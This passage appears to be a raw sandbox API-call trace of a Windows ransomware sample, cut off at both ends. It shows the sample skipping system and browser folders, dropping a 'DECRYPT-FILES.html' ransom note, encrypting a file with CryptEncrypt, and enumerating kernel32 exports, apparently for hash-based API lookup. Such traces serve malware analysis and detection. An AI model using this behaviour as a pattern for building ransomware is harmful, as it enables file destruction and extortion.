lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0119.818] lstrcmpW (lpString1="1032", lpString2=".") returned 1 [0119.818] lstrcmpW (lpString1="1032", lpString2="..") returned 1 [0119.818] lstrcatW (in: lpString1="1032", lpString2="\\" | out: lpString1="1032\\") returned="1032\\" [0119.819] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1032\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch=":\\Windows") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\Program Files") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\Games\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\Tor Browser\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\ProgramData\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0119.819] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1032\\", lpSrch="\\All Users") returned 0x0 [0119.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0119.819] lstrlenW (lpString="eogwkz.dat") returned 10 [0119.819] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\\\eogwkz.dat") returned 38 [0119.819] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1032\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0119.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0119.820] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0119.820] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\\\DECRYPT-FILES.html") returned 46 [0119.820] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1032\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0119.821] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0119.822] CloseHandle (hObject=0x470) returned 1 [0119.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0119.823] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1032\\*") returned="C:\\588bce7c90097ed212\\1032\\*" [0119.823] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4dabd141, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81140 [0119.823] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.823] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4dabd141, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0119.823] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.823] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.823] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dabd141, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4dabd141, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4dabd141, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0119.823] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0119.823] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dabd141, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4dabd141, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4dabd141, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0119.823] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0119.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0119.824] lstrlenW (lpString="eogwkz.dat") returned 10 [0119.824] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1032\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0119.824] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1032\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1032\\eogwkz.dat" [0119.824] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1032\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0119.824] CloseHandle (hObject=0x0) returned 0 [0119.824] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.824] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0119.825] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0119.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\") returned 27 [0119.825] lstrlenW (lpString="eula.rtf") returned 8 [0119.825] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1032\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0119.825] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf" [0119.825] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0119.828] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=8876) returned 1 [0119.828] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0119.828] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0119.986] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0119.986] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0119.986] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.986] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0119.986] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0119.987] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.987] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0119.987] CloseHandle (hObject=0x5f8) returned 1 [0119.987] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.987] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0119.988] CloseHandle (hObject=0x0) returned 0 [0119.988] CloseHandle (hObject=0x5f4) returned 1 [0119.989] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.989] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.989] GetTickCount () returned 0x336e0 [0119.989] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.990] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0119.990] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0119.990] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.990] lstrlenA (lpString="kernel32.dll") returned 12 [0119.990] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0119.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0119.990] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0119.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0119.990] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0119.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0119.990] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0119.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0119.990] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0119.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0119.991] lstrlenA (lpString="ADDATOMA") returned 8 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0119.991] lstrlenA (lpString="ADDATOMW") returned 8 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0119.991] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0119.991] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0119.991] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0119.991] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0119.991] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0119.991] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0119.991] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0119.991] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0119.991] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0119.991] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0119.991] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0119.991] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0119.991] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0119.991] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0119.991] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0119.991] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0119.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0119.992] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0119.992] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0119.992] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0119.992] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0119.992] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0119.992] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0119.992] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0119.992] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0119.992] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0119.992] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0119.992] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0119.992] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0119.992] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0119.992] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0119.992] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0119.992] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0119.992] lstrlenA (lpString="BACKUPREAD") returned 10 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0119.992] lstrlenA (lpString="BACKUPSEEK") returned 10 [0119.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0119.993] lstrlenA (lpString="BACKUPWRITE") returned 11 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0119.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0119.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0119.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0119.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0119.993] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0119.993] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0119.993] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0119.993] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0119.993] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0119.993] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0119.993] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0119.993] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0119.993] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0119.993] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0119.993] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0119.993] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0119.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0119.993] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.993] lstrcpyA 